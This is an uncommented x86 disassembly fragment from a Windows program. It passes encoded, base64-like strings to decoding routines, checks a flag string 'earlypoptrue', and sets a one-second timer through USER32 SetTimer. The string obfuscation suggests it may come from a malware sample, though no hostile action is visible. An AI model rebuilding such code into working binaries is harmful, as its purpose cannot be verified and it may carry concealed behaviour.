mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0x3c
call fcn.00401264
mov byte [edi + 0x150], 1
jmp 0x429c80
push 0
push 3
pop esi
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.KBAxEDQSOQk9AjVTNyxIACgfQB4qKUVF
call fcn.004023b9
lea eax, [ebp - 0x40]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x20]
call fcn.0040361c
mov ecx, dword [ebp - 0x40]
cmp eax, 0xffffffff
setg bl
add ecx, 0xfffffff0
call fcn.00401264
test bl, bl
je 0x429c95
push str.earlypoptrue
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.Ng86MTwCOQk9AjVTNyxIACgfQB4qKUVF
call fcn.004023b9
lea eax, [ebp - 0x40]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 0x44
call fcn.00407435
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0x3c
call fcn.00401264
push ecx
lea eax, [ebp + 0xc]
mov dword [ebp - 0x50], esp
mov ecx, esp
push eax
call fcn.004036b5
call fcn.0041e630
pop ecx
push 0
push 0x3e8
push 1
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.00401264
call fcn.004564f1
ret 8